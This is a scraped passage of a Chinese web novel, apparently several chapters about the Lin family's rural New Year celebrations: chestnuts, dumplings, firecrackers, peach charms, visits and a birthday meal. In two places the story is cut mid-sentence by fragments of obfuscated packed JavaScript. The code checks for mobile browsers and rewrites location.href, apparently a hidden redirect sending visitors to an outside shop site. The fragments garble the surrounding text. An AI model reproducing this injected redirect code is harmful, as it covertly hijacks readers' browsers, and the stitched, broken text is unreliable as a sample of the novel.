林大郎他们好笑的看着,这群孩子真是……想一出是一出。但是当他们看到林知伙同林仁他们拿出来锅架在之前熏肉的“简易版”灶台上,还拖出一大口袋的黑砂石出来,就明白人家这是“有备而来”呢。 “嘿嘿……”林知特别纯良地对院子里目瞪口呆的人笑了笑。 一大锅石头洗干净放进锅里还要翻炒,这可是个力气活,所以还是林二郎来操作。 柴火“噼里啪啦”的烧着,林阿爷他们坐着晒太阳一脸含笑地看着林义他们围着锅惊呼。 粗大的黑砂发出“哗啦哗啦”的声响,带着油光水亮的栗子在腾腾热气中翻滚,林知站在一边,不时向里面洒糖水,那场面当真美妙。 不一会儿,栗子“乐”开了花。 他们已经提前给栗子开了一个小口,这样外层的壳炒脆了,大拇指和食指轻轻一捏就能碎。 “哇——闻起来好香啊。”林智和林敏都快扒拉锅了。 林二郎嫌弃地把他们挥远一点,“你们几个站远一点,小心被烫到。” “真不知道他们怎么这么馋。”最近因为要过年,家里也买了不少糕点回来给孩子们解馋。一边的林大郎他们无奈地摇摇头。 “还都是小孩子呢,你们小时候还不是一样。一块儿糖都拿在手上半天舍不得吃,馋了就舔一舔……”林阿奶絮絮叨叨地回忆起来。 钱氏几个妯娌还不知道自己丈夫小时候的事情呢,一边做些针线活,一边听着好笑。 这下轮到林大郎几个挠着头,憨厚地笑和感慨万千,“现在家里条件变好了嘛……” 栗子几刻钟就炒好了,林知顾不得烫,抓起来“呼呼”一下就尝了一口。 “可以吃了,栗子就要趁热吃,又香又甜!”她转身就拿一个盘子装一些分给林阿爷他们。 林阿爷剥开壳,把金黄的栗肉放入嘴里,满口的软糯甘甜,似乎感觉整个寒日都不再萧瑟。“不错,不错。山有漆,隰有栗。子有酒食,何不曰鼓瑟。”他怡然自得道。 钱氏她们也很喜欢,甜滋滋软糯糯的,一连吃了好几个。 锅里还有不少呢,林智他们早就吃得像小松鼠一样嘴巴鼓鼓的。 “吃了去洗手啊!你们可不许往衣服上擦。”钱氏还不忘警告一群孩子们,今天才穿得新衣服呢。 炒栗子的外壳是黏的,吃完了手上都是糖汁,必须洗手。 俞珩咬着栗肉,糖汁沁透,很甜。 “阿爹,我们可不可以拿一些去跟我们的小伙伴分享?”林智还不忘他的朋友们。 “那你们自己去玩儿吧,记得早点回来吃饭。”林家人毫不在意,孩子们乐于分享是好事儿,村里的孩子有了好吃的也会一样带给朋友们。 罗氏还贴心的给他们找了一些油纸来装,林义他们把用纸袋包好的栗子揣在怀里跑出门去,走几步就剥开吃上一个,热热乎乎,一半是温暖,一半是甜蜜。 林知真要怀疑他们还没找到人就把栗子给吃完了。 村里的小孩儿跟在他们屁股后面跑进来,跟着一起吃了好几块栗子,然后又呼啦啦的跑了。 当然,林智他们也跟着那些孩子跑到他们家里要吃的…… 大家准备比较多的就是胶牙饧,大致就是后世的麦芽糖,用大麦、小麦或者糯米制出来的甜品,比较黏软。 甜度不如蜂蜜,不过还是很受平时鲜少能吃到糖的孩子们喜欢。 时间还早,孩子们只顾着玩就行,大人们也会出去唠会嗑,到了傍晚就要开始准备年夜饭和祭祖了。 傍晚时分,各家都为晚饭忙碌了起来,小小的村庄笼罩在一片炊烟袅袅中。 年夜饭的主食还是饺子。 钱氏在擀面,她两只手抓住面杖,一手轻,一手重,饺子皮自个儿滴溜溜地转,一会儿就是一张。 “要说这擀饺子皮啊,还是你们大伯母最在行!”罗氏边包饺子边赞道。 钱氏回一笑,“这包饺子是手艺和花样还得看二弟妹啊!” 肉要剁得细,还要加水打匀了,再拌上剁碎的菜。不管是白菜萝卜还是豆腐粉丝。然后一家人团团坐下来,一边包饺子一边守岁。 “好啦好啦,大家都很厉害!”林知搅和了她们之间的相互吹擂。 “哈哈哈,你啊!”饭桌上的人好笑而无奈地看着林知。 罗氏把捏成弯月形的饺子两角对拉捏在一起,呈“元宝”形,摆在盖帘上,“这元宝象征着财富遍地,金银满屋。” 还有把饺子捏上麦穗形花纹,像一棵棵颗粒饱满、硕大无比的麦穗,“这个麦穗呢,象征着新的一年会五谷丰登。” 罗氏的确心灵手巧,各种造型信手拈来,“把饺子包成多种形状呢,预示着来年能财满屋、粮满仓,生活蒸蒸日上。” 接下来就是听取“哇——”声一片了。 林知他们也手痒痒,上手想做饺子,不过那样子,就很难评了。 “噗嗤——”林义捂着肚子哈哈大笑,看着都不成饺子形状的面皮,“很有特点嘛!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239141|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“等下你们自己把这些丑东西给吃了,不准浪费了!”林阿奶不管他们怎么玩,就是最后不浪费就行。 饭菜准备就绪,随时能端上桌,林知跑到院子里,抬头问道:“大伯父,阿爹,灯笼挂好了吗?” 暮色像是墨水般倾倒在空气里一般,很快天就黑了下来,只剩挂上去的灯笼透出一些昏黄的光。 除夕挂的灯笼,要到十五那天才会取下来。 林二郎答道:“马上好了,这就下来了!”他踩着梯子下来了,林大郎把梯子放回杂物间。 林知转回去望了望堂屋,对在厨房外啃着糖的林智和林敏道:“去叫大哥他们过来吃饭了。” 自从新房子建好以后,林仁他们平时都各在那边的小院子里玩。毕竟不用在大人跟前儿晃,也能少挨不少唠叨。 两小只手拉着手跑去找林仁他们了。 今天钱氏和罗氏几妯娌轮番上阵几个人做了不少菜,有小鸡炖蘑菇、红烧鲤鱼和红烧肉。 除此之外,也有几个孩子爱吃的炸小酥肉。 先用猪里脊切成小拇指左右粗的条,裹上粉,炸至金黄色捞起,还冒着热气一口咔嚓咬下去,都能听到表皮酥脆开裂的声响,咔滋咔滋,能在口中爆开肉汁! 香得不行! 这可是林知央着他们好久才做的,因为炸东西实在太费油了,就算是过年也不能这么吃啊。 所以它一度成为家里最受欢迎的吃食,虽然大人们不舍的做,但是也很喜欢就是了。还有其他几个小菜,加起来这一顿年夜饭,可谓是相当丰盛了。 林阿爷坐在上首看着桌子两侧下去一溜烟的人头,大家乖乖的把手放在膝盖上端坐着等他说话。 “这半年来,家里的变化大家也看在眼里,多余的话也不必说了,只希望你们以后勠力同心,把这个家一起过得越来越好。”林阿爷含笑道。 “是。” “吃饭吧。”林阿爷率先举起筷子说。 “啊呜……”小孩儿们立刻大快朵颐起来。 大家一边闲话,一边对今晚的年夜饭赞不绝口。 用加些皮蛋的白菜和冻豆腐煨汤,咬一口吸满汤汁的冻豆腐,鲜香四溢。 “还能和着腌萝卜吃。”林知把豆腐的中心戳了个小孔,将之前腌制萝卜干切成丁放进去。 腌萝卜用各种调料拌好了的,尤其是加上一勺辣椒油很是爽口。滚烫的豆腐配上冰凉的腌萝卜,辛辣中透出咸甜的口感,直把人舌尖的味蕾全都给唤醒了。 林义几人学着她的样子呼哧呼哧地吃起来了。 最让人惊艳的还是腊肉,把腊肉洗干净,蒸熟切成片。整整齐齐地码在盘子里,瘦的紫红,肥的晶润透明。 瘦而不柴,肥而不腻,瘦的酥软而有型,肥的一口咬下去直冒油,连油都是一股子熏香,别的肥肉是软而绵韧的,熏腊肉的肥的部分有一种脆脆的口感,一咬就断,却又入口即化,满口的熏香和油香。 连俞珩这样不吃肥肉的人都忍不住专挑带肥的吃,味道醇厚,食之不腻。 他转头四处张望,林智和林敏的小脑袋都埋到比他们头还大的碗里,林知和林义争夺着最后一块肉,林家叔伯婶们脸上洋溢着笑容。 俞珩的心里生出一种异样的情绪。 他突然很喜欢这样的生活,看着食物是如何一步步端上饭桌的,衣服是如何一针一线缝好的,这些看似细小的、平凡的日子却在熠熠生辉。 林知过了个还算满意的年,她腆着吃得饱饱的肚子,脑子放空地坐在椅子上发呆。 系统对今年也比较满意,前段时间林知收录的几种花,近两万的积分,它从中抽取了百分之十的抽成,余额一下子丰余起来了。 不过林知今年不打算再种花了,她现在积分少,得把钱花在刀刃上。 以上次的经验来看,这种花在县城里实在没有市场,大多数人还忙着解决温饱问题,其他怕都是次要的。要不是碰上余姚他们,说不定还卖不完呢。 虽然林知先前大放厥词,卖不完可以自己欣赏,可是谁会嫌钱多呢? 50. 第50章 过年为驱逐山怪恶鬼,有放爆竹的习俗。 是真的爆竹,就是将竹筒置于火中烧烤,竹筒受热膨胀,最后爆出声响。 吃过饭,林二郎在院子里燃了个火堆,把砍好的十几段竹子接连丢进去,竹节中有空气,被烧得接连爆破,自然会发出噼噼啪啪的声音。 边迸出来一阵一阵金红色的小火花,在夜色里显得分外喜庆。 “砰——”林知丢进去一节竹子,连忙手捂着耳朵跑开,别说,这还真挺刺激的。 林义他们也凑过去丢了好几个爆竹,一群人嘻嘻哈哈的笑个不停。 远远的依稀能看见林家大门口的火光,以及被火光照亮的一群人,虽然不富贵,但是一家人,在一起,每个人的脸上都洋溢着难以自持的笑意。 大家放完爆竹后,就要回到屋里烤火,除夕通宵不眠,称为“守岁”,他们要一直聊到零时,迎来新岁。 火盆里“噼里啪啦”的烧着柴火,屋里只穿两件衣服便暖乎乎的了,林家人围坐在一起。 除夕夜吃完年夜饭,长辈要给小辈压岁钱,俗谓佩此能驱邪镇魅,以祝福晚辈平安度岁。 林阿爷向几个孩子招手示意他们过来。 他摸了摸最小的林智和林敏的头,从兜里摸出一个布包来打开,笑道:“这是我专门去寺庙为你们求的。” 林知他们也凑上去看,几枚铜钱安静的躺在林阿爷宽大的手掌上。 特制的压岁钱是仿制品,钱形长而方,上面龙马并著,钱上刻有“吉祥如意”背面是“福禄寿喜”。 几个孩子一人分到了一个铜钱,连俞珩都有,他们捏在手里新奇的看来看去,因为以往年他们都是得的真钱,还是第一次看见这种仿制的。 林阿奶找来几根红绳,替他们把钱穿起来,挂在脖子上。 大人们满意地点点头,这一串儿孩子站着看着多有精气神啊! 林义把铜钱挂在贴身的衣服里,一副大聪明的样子说:“我知道了,那些故事里不都说,走失的兄弟姐妹凭借信物相认吗?那以后我们已经走失了,也可以这样干啊!” 众人:…… 闻言,林智和林敏眼睛亮亮地抬头看向林义,似乎信服了这个说法。 林大郎没好气地拍了一下林义的头,“呸呸呸,祭过先神了,说什么不吉利的话呢。” 林义欲哭无泪地撇撇嘴,捂着脑袋离他爹远一点。 长夜漫漫,干坐着守岁,孩子们也会很无聊的,于是林知带着他们做游戏。 “一萝巧,二萝宝,三萝四萝扯猪草,五萝六萝提谷箩,七萝八萝骑马过河,九萝十萝中状元。”林知一一捏过几个孩子的手,替他们看,还教他们怎么看。 “啊,真的管用吗?阿姐快给我看看!”林智连忙掰开他们的手指,小脑袋凑上去看。 “只是句俗语而已,哪里有这么神啊?”林知乐了。 “耶,我有两个萝萝耶。”林敏也掰着手指看,数清楚了后就眉开眼笑地蹦起来。 两个孩子觉得有趣,又扎进大人堆里去一个个的掰开他们的手看,一边念念有词,“一萝巧,二萝宝……” 大人们说着开春的打算,任由他们趴在身上玩儿,眼见着年节将至,而过完年就是春天,就要准备作物的种子了。 时间就这么慢慢过去,几个孩子早就睡眼惺忪的了,林敏窝在马氏的怀里,困得睁不开眼睛了。 林知打个哈欠,眼泪都沁了出来,她下意识的看了看系统里的时间,嗯,还有几分钟。 果然,外面隐约响起了几声爆竹声,他们就知道零点过了。等时间一过,林二郎象征性地又放了几个爆竹,大家实在没有什么热情了,打着哈欠各自回房歇息去了。 — 尽管年三十晚上要守岁“熬福”,睡得很晚,但是初一早晨必须早早起来。这天早起表示过日子“心盛”,预示着一年勤快,能得好收成。 家里人都睡得晚,但是大人们都早早起来了。 家里烧完爆竹,昨晚那几堆大火也基本都灭了,灰堆还冒着青烟,满地碎竹屑。 只有孩子们,喊了几遍都没见动身的,最后还是大人们一个一个好不容易从床上挖起来的。 大门口闹嚷嚷的,一堆人围着看,小孩子们也挤过去看,林家人正在换桃符,贴门神和春联呢。还要挂鲤鱼飘,就是用一根很长的竹木竿扎在土里,竿顶飘悬着布做的长条形旗子随风飘荡。 大年初一在院里悬挂起这种幡子,是用来祈福祈长命。 恰巧林二郎拿回来一大把柳枝回来。 他把柳枝散开,先拿一根插到门环上,又拿几根要插到窗棂上。他们家有不少扇窗呢,要全部插上柳枝,还有两扇门,每扇门上也各插了一根。 而林三郎拿出一根粗桃树枝,一劈两半,都削成上宽下窄的楔子,七八寸长,削得尖尖的,刮得光光的。 “三叔,这是在做桃符吗?”林智他们好奇地蹲在林三郎面前。 “对呀,钉桃符,贴春联和门神,可以驱鬼避邪,保佑你们来年平平安安咯。”林三郎一边把桃符涂成红色,一边笑哈哈的回道。 林阿爷提起毛笔,在做好的一只楔子上写了“神荼”两个字,另一只楔子上写了“郁垒”两个字。 “写得不错啊!”林阿爷拿起来欣赏了一下。 “美得你!”林阿奶剜了他一眼,拿着熬好的糨糊,和钱氏、罗氏她们去贴年画和春联。 林仁他们也跟着去凑热闹。 林阿爷笑着摇摇头,对林阿奶的话恍若未闻,拿着锤子和桃木楔准备插到大门两边的空地上。 这边林阿爷拎起锤子,啪,啪,啪,啪,全钉到泥土里,只留桃木楔的上半截在外面。 那边打闹是声音传来,分明是林义和林智在贴春联,因为好奇和好玩,他们表示要有参与感,所以争着要自己贴。 林义将林义抱起来,林智手里拿着一张涂了糨糊的春联:“再高一点啊,二哥。” “左边一点儿。” “过了过了,右边一点儿!” “高点儿!” 林义累得满头大汗,抱怨道:“知不知道你真的很重啊?” 林智哼哼道:“我还这么小,我哪里重哦?是二哥你自己力气太小啦!” 绝不承认是自己胖了一圈! “过完年你就六岁了,还小?”林义嗖嗖地翻起了白眼。 明明今年才四岁的林智:…… 两人嘿呲嘿哧的忙活半天才搞定一边,林阿奶她们看不下去了,直接给几个门贴好。 林智从林义怀抱里下来,擦了擦脑门上并不存在的汗,对着有些歪的春联煞有其事满意地点头。 林义捂着脸跑开了,实在看不下去了。 等到那边林阿奶他们把门神贴到门上,把春联贴到门框上。林阿爷最后又取出一块长方形的桃木薄板,在上面写了“顺天行化”四个字,钉在了大门的门楣上。 “顺天行化,阿爷,这是什么意思啊?”林义走过来看还顺道念了一遍,好奇地问道。 “这顺天啊,意思是顺应上天,不跟老天爷闹别扭。行化,意思是行事地道,符合教化。”林阿爷看着这几个字解释道,眼光微凝,不知道在想什么。 “希望上天见到这个横批,一年到头不找麻烦,风调雨顺,四季平安,不给人间降瘟疫。” 元日早上的一堆应景活动搞完,家里人再相互拜拜年,进门团团坐定,准备吃早饭了。 其实当家里人开始吃元日团年饭的时候,首先上席的,并不是吃的,而是喝的。 朝野都要饮酒庆贺新年,新年之酒也称春酒,是祛邪祈福之酒。 林阿爷倒了几杯,乐呵呵地说:“正旦辟恶酒,新年长命杯。这新年之酒也称做春酒,是祛邪祈福之酒。” 他摇了摇酒杯,“当然,它也可以叫屠苏酒,传说……” 听见有传说的故事,林知几人凑到面前来,个个张着耳朵仔细听。 听见屠苏两个字,林知心里默念,爆竹声中一岁除,春风送暖入屠苏。 林阿爷也不卖关子,“屠苏酒的得名有一个传说:屠苏是一个草庵的名字,有人居草庵中,他每年除夜送给附近居民一帖药 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“过年吃五辛盘就是为了发散五脏郁气,预防时疫,不闹病。来来,动筷子吧,小孩子不准挑食,不吃不行哦!”林阿爷偶尔也调皮一下,眨眨眼对苦哈哈的小孩儿们说。 终于吃完早饭,一行人就去山上给曾祖父、曾祖母以及几位辈分更高的祖宗上了坟,烧了纸钱,磕了头。 回来了就要去拜年了。 初一在村落内部拜年,初二以后到别的村子拜年。 旧时拜年强调家族关系,拜年的过程就是家族关系的强化过程。 好在林姓亲族大多都住在长兴村,也不算多远。要先去“五服”内的宗亲家拜年,要依照血缘关系由近及远的顺序,一家一家给长辈拜年。 林知牵着林智的小手,跟在林仁他们身后欢乐地去各家串门拜年。 孩子们,有的也夹杂着个别辈分小年纪却不小的青年人或中年人。他们就集合到一起,组成“浩浩荡荡”的一大帮人,足足有二三十个,挨家挨户给同姓的村人拜年。 大家最先去的是林族长家,穿戴一新的老族长被搀扶着坐在上首,头发胡子都花白了,张着一口豁牙笑看着这么多孩子。 他拉着一个青年人的手,“小春儿啊!你可得加把劲儿啊,今年娶个媳妇儿回来……” 青年人憋个大红脸,“族爷爷,我是阿成,我爹早就娶媳妇儿了。” 其实老族长口中的小春儿是阿成的爹,他把人给认错了。 嚯,不愧是父子俩,这模样可真像一个模子刻出来的。 老族长依旧笑眯眯的,“原来是阿成啊,瞧我这老眼昏花的,人老咯,不中用咯……” “哪里,族爷爷还年轻呢,还能再活几十年!”一群孩子七嘴八舌的,好听的话不要钱地往外说。 “哈哈……”老族长看着他儿子都抱上孙子了,林氏族人越来越好,欣慰不已,“去玩吧,你们这些年轻人是不耐烦听我们这些老年人的旧话咯……” 老族长儿媳妇端出来一篓子点心和糖分给大家,笑道:“来来来,你们族爷爷年纪大了,经不起折腾,你们不要在意,坐一会儿再走啊?” 不少孩子团团行礼,什么“福延新日,庆寿无疆”“福庆初新,寿禄延长”的拜年话往外说,老族长媳妇就笑眯眯往他们的兜里塞点心。 连中年人青年人也一个个的脸红着叫“桂婶娘”,然后被塞一把零食。 桂婶还在挽留一下。 大伙儿说:“不啦,还有好多人家没走完哪。”就呼啦啦地往外走,族长儿子一直送到大门口。 就这样,林知夹杂在大伙儿中间一路顺着路走下去,见人就跟着林仁他们叫一边行礼说拜年的话,长辈说话或者和其他人唠嗑的时候,她就安静的站在一边。 因为林知笑起来两个小梨涡,她很招人喜欢,大娘大婶们手里的点心都多给她塞一些。 农家人也不富裕,他们不兴给压岁钱,只有血缘关系特别近的才会给,有时抓一把瓜果零食或者给些吃的就够了。 林智跟在他阿姐的屁股后面收获了一兜子的吃食笑得嘴都合不拢了。 51. 第51章 小孩儿们有事干,大人们闲着也是闲着,也会出门找乐子。 年轻的妇女们也凑成一拨拨的,到各家去拜年。 不相邻的人家并不常见面,有些去年刚嫁进村的新媳妇有人还不认识,这时看见新面孔,就难免指指点点打听是谁家的媳妇。 被问及的新媳妇儿们低着头红着脸,当问到她们是不是哪家的,就不好意思地点点头。 “嘿,这都嫁了人了,脸皮子还这么薄可不兴啊!”倚在林大柱家门前的婶子笑着打趣她们。 “呸,谁当年还不知道你刚来那会儿,别人说句话,脸都红得滴血了。这老了,脸皮倒是变厚了……”旁边和她一起的妇人笑骂道。 “好啊,你竟然这么说我,看我今天不撕烂你这张嘴……”两人这么一笑骂打闹,先前站着惴惴不安的媳妇儿们也不紧张了。 这边的热闹引来了不少人,大家默契的聚在林大柱家,因为大柱媳妇儿刘氏可以说是村里最好相处的了。 无论谁家有仇有怨,但都能摒弃前嫌,聚在他们家一起唠嗑。 走过路过的人,以及附近的几家邻居听见动静,想一想,现在家里也没事,于是很干脆的把家里的活儿丢下,自己背着手走过来凑热闹了。 等刘氏从厨房里出来时,院子里已经站满了人,没办法,她只能去给他们搬凳子。刘氏搬了椅子出来,说道:“你们都别干站着了,这儿坐下来。” 大福媳妇儿周氏端出一个小篓子,里面装的是炒好的黄豆,来招呼客人。 这是用沙土去炒的,接着过筛,就得到了非常酥脆的炒黄豆了。 妇女们也不客气,各自寻了位置坐下唠嗑起来,无外乎是谁家添了新媳妇儿,小孩子之类的。 更有些心思灵活的,打听起附近村里的未婚男女,这正月没有事儿,可不就相看相看,给认识的人说个亲嘛? 等林知他们回家路过的时候,林大柱家的院子正聊得热火朝天呢。 最先打趣新来媳妇儿们的张桂芳眼尖,开口就笑道:“哟,这不是二婶子家的阿仁嘛?你们这是回家去啊?” 林仁脚步一顿,扬起笑脸先是跟院子里的长辈们打招呼,最后才冲她叫一声“张阿奶”。 张桂芳眯了眯眼,打量起他后面一串的孩子,“话说,你们家那个啥作坊还招不招人啊?你看规模也不小了吧,多找几个人也省力不是?” 林仁笑笑不说话。 阿爷说,不想回答或者不知道怎么回答的事儿,就笑笑不说话。 这位张婶可是出了名的不好相处,所以林阿奶也没请她。 林知在背后一撇嘴,然后重新扬起笑脸,假装听不懂张婶的潜台词,“啊,张阿奶这不好吧,你们家还有那么多活儿,来我们家帮忙就算了,不过心意我们领了哈。” 那惊讶,略带些小苦恼的表情生动形象,一副为她着想的样子。 在场的人谁听不出张桂芳是想拿工钱干活呢,被林知这么一搅和,先前还想借着这话打听打听的人讪讪也不好再问。 张桂芳被落了面子,脸色很是不好看,她白眼一翻,不给工钱还想人给白干工,天下哪有这么好的事,于是也不接话头。 先前的气氛顿时就冷下来了。 在林家做活儿的人连忙开口维护林仁他们,“就几个孩子,又做不了主,你们要想去啊,就直接问林二婶啊!” 其他人一听林阿奶的名头,纷纷缩了缩脖子,更有几个人直接打着哈哈,表示自己家里还有事就先告辞了。 要是后面被林阿奶听见他们说她闲话了,那还不得被找上门来啊。 一下子,先前还热闹的院子只剩下稀稀拉拉几个人。 刘氏不在意地笑了笑,还给林知他们装了点好吃的在兜里。 林义几人看得目瞪口呆,为林知这战斗力所折服了。 等林知一行人到家的时候,林家正在做好吃的。正是过年嘛,热闹,所以准备做些汤圆,米糕给他们吃。 一群孩子一溜烟就围了上去。 有和林家一样想法的村民不少。 不像林家这半年来还赚了这么多钱,他们的日子只能算规规矩矩,不过这并不妨碍他们过节的热情。 花钱去买糕点什么的是不可能的,但家里可以自己做些好吃的。 村子里只有一个磨坊,人多得都要排着队用,便用不少人打到林家的主意上,前儿不少人知道他们家有个新碾子呢。 几个结伴而来的村民正好碰上林大郎和林二郎在磨东西呢,不禁咂舌,“你们家磨这么多麦子啊?” 林大郎擦了擦汗才抬起头笑道:“这不是大过年的,正好给孩子们做点好吃的嘛?一年到头忙,还不是就为了这。” 他们是没看见之前林三郎已经挑回去的一桶桶的豆浆呢,现在估计家里都把豆腐做出来了。 几个村民便憨憨一笑,“正是,正是呢。” 林家两兄弟知道了他们的来意,便挑着磨好的白面回去了,“你们随意用吧,我们就先回去了。” 随意用肯定是客套话,村民们也不是那么不会做人,村里的磨坊都是大家一起出钱建的,可林家的又不是大伙儿的,所以他们打算回头给林家送些自家做的糕点。 这边罗氏打算做好了豆腐后就和妯娌们一起滚汤圆,还做了米糕,这才有林知他们刚回来那一幕,几个孩子高兴得就快要疯掉了。 “别挤在那儿了,快过来吃汤圆。”钱氏将热水锅里煮得浮起来的汤圆用碗捞起来,“米糕还得再蒸一会儿。” 林知几人就端着碗一个个坐在门槛上边吃边看大人们点豆腐。 林智拿着小勺子,先对着舀起来白白胖胖的汤圆呼呼一下,再慢慢咬开,不过还是被里面流出来的红糖烫到了,“呼,好烫啊!”他像只汪汪一样吐着舌头。 其他人侧目,有了林智的前车之鉴,他们打算等汤圆凉了一点儿再吃。 等凉得差不多了,林知勺子舀起一个一口咬下去,汤圆里的红糖馅儿便立刻流了出来。 略带点嚼劲的软糯外皮配上甜腻的红糖馅,滋味简直不要太好。 几个人嘿呲嘿哧的肚儿吃得溜圆,不约而同满意地擦了擦嘴巴。 等钱氏把蒸好的米糕端出来,瞪圆了眼儿的林敏有些苦恼地说:“我吃饱了,吃不下了。” 马氏也摸了摸她的小肚子,不由得一乐,“还是别吃了,小心吃坏了肚子。”见林敏嘴巴嘟着都能挂油壶了,她安慰林敏,“放心吧,阿娘给你留着呢。” “等你再长大一点就可以吃更多的好吃的了。”林礼看着幺妹这样子,乐淘淘地安慰。 “哦,好吧。”虽然嘴上答应,但是林敏眼神儿都快黏上去了。 其他几个人已经开始上手拨开用箬叶裹起蒸熟的米糕了。 那股清甜的香气扑面而来,然后咬上一口,软糯香甜味道在唇齿间缠绵不去。几人摇着小脑袋,开心得眼睛都眯起来了,林敏还是就着林慧的手尝了一小口。 院子里放在缸上用木板压住的豆腐慢慢成型,罗氏估摸了一下可能有四十来斤。 她戳了戳,觉得已经可以了,便提了刀切豆腐。 林阿奶站在檐下看,点了点头道:“明天你们带着孩子们回家的时候,带一些回去,也让家里人尝尝。” “再捡一篮子鸡蛋和各取一条腊肉吧。”林阿奶思索了一下,最后决定。 钱氏等人闻言高兴起来,纷纷应了一声。 初二,是各家媳妇带着丈夫孩子们回娘家的日子,一大早林大郎和林三郎就和钱氏,马氏起来收拾东西,倒腾孩子。 等林知起床的时候,他们已经走远了,院子里那阵儿鸡飞狗跳的动静没了,屋里冷冷清清的。 林知背着个小手四处巡视了一圈,有些感慨,这真是一种甜蜜的忧伤啊! 罗氏喂完孩子出来就看见她这样,简直哭笑不得,“只只,今天可是你的生辰呢,阿娘给你做面好不好?” 林知听见这话,神色一怔松,旋即又恢复如初。过生嘛,久得她差点都记不起来了,自从外婆走后,她自己一个人再也不敢过生日了。 不过,林二丫跟她的生日依然是同一天啊。 林知低落的情绪转瞬即逝,反而跟在她阿娘的身后进了厨房。 罗氏取出昨天家里磨好的白面加些清水开始和面,这是用碾子磨了许多遍才这么细白,不过几斤。平日里他们吃的都是粗面,如果是灾年粮食不够的情况下,还会掺些糠和麦麸在里面呢。 厨房里的动静让林智也进来凑热闹了,主要是家里其他人都走了,他一个人也没什么好玩的。 他一副睡醒的迟钝困倦模样,头发毛躁躁的,闻言打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290898|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈欠:“阿娘,阿姐,你们这么早啊?” 林知偏头一看,太阳都悬挂在半空了,直接无情地打击他,“都快中午了,你再睡下去,太阳都要晒屁股啦。” 就连俞珩都挤到厨房里来了,见大家盯着他,眼露迷茫,“怎么了?” “没什么,阿俞,我们在做面呢。”林知看着他炸毛的发型,一脸呆萌的样子,捂嘴偷笑。 罗氏无奈摇头,笑看着他们玩闹,一边去准备其他的食材了。 林知帮她烧火,把面团放在比较热的地方这样可以发酵得更快。 过了会儿,罗氏就开始揉面了,三小只在一旁默默看着。罗氏看着他们认真的样子,就忍不住出言教道:“面这么揉,得用手掌,手掌揉才均匀。” 不过她只口头上教,义正言辞地拒绝了几人想要蠢蠢欲动上手的请求。 三人最后被说服,罗氏下意识心里松了一口气,还好他们没有硬要上手,要不然今天这顿饭是别想准时吃上了。 “一只手按住面团,一只手用力揉,要向下用力,两边配合好速度,就像这样。” 罗氏的手快速地在面团上按压揉搓,碎发垂落在她的脸庞,在洒满阳光的厨房里,有种难以形容的娴静温柔。 林知望着她,倏而开口,“阿娘,我们为什么不去亲戚家拜年啊?” 她记忆中好像他们从来没有回过罗氏的娘家,或者说,罗氏根本就没有娘家人。 罗氏停下了动作,似乎有些出神,片刻后,她回头看了看几人,“阿娘的亲人们都已经不在了,所以我们初二就不用去拜年了。” 听见这话林知呆了一下,她还以为只是关系不好,从来不来往呢。林智直接扑倒罗氏身上,拦腰抱住她嚷道:“阿娘不要伤心,还有我们呢!我们会一直跟阿娘在一起的。” 罗氏点了点他的额头,笑了,“阿娘没事,都过去了,好久的事情了。” 望着三双关切的大眼睛,罗氏失笑。 她边把面团放一边醒发,边揉新的,边和他们闲聊,“我不是淳安县的人,而是来自南边的一个小县城。” 记忆有些久远了,罗氏顿了顿,才挑拣起那些埋藏在心底的回忆。 “你们的外公是做生意的,当年南方灾荒,城里就乱起来了,我们一家四口就带着家产往北方走。”也许是中间的经历太过痛苦,罗氏并没有细讲,“后来逃难路上就我一个人活了下来,被你们阿爹救了,就这样我留了下来……” 十多年前,林家也自顾不暇,最后还是咬牙收留了一个举目无亲的小姑娘。罗秀亲人没了,身无分文,无以报答他们的恩情,最后留了下来。 思及此处,罗氏不由露出一笑,“但是你们阿爹是个很好的人。” 闲话说着,面也揉好了,罗氏把面提起看,薄厚均匀,不断不烂,透亮得能瞧过去人,上好的面条。 见罗氏不意多说,林知他们也没有追问到底,只是默默地陪着她。 “好了,看你们那仇大苦深的样子,我都不在意了。”罗氏往锅里下了面,擦了擦手,“快去喊你们爷奶吃饭了。” “诶。”林知拔腿就跑出去了。 今天家里人不多,所以就做了清汤面和炒了两个小菜。 清汤里放点酱油、盐,最后放一点点猪油、滴几滴香油,还要撒上一点绿绿的葱花作点缀。 隆重的是每人加了一只煎荷包蛋,当林知发现自己碗底还多卧着一个蛋的时候不由抬头去看大家。 林阿奶眼皮子都不带掀一下的。 林二郎带笑地摸了摸她的头,“过了生辰就是八岁了,要好好听话,不要再调皮捣蛋的了。” 他们习惯了算虚岁。 林知埋着头让人看不清神情,用鼻音轻轻回了个“嗯”字。 如果有生辰愿望的话,她只愿烟火清安久,岁岁不知愁。 【宿主哭了?】系统不合时宜地出来大煞风景。 林知在心里嗡声嗡气地回它,“我才没有,别污蔑我。” 系统:【……哦。】 长兴村大多是旱地,所以以种麦子为主,但是小麦产量低,所以白面也精贵,至少林家一般时候就不舍得拿白面这么吃。 林知把她那份儿“长寿面”吃得干干净净的,连汤都喝完了,这是他们昨天吊的鸡汤剩下的,就拿来煮面了。 52. 第52章 欢快的时光总是过得很快,时间一眨眼就从看不见的缝隙里溜走了。 前段时间被拘着读书,一群孩子根本没时间玩,或许是被拘得很了,过年的时候林阿爷没有约束他们学习,所以他们就跟脱缰的野马一样不可收拾。 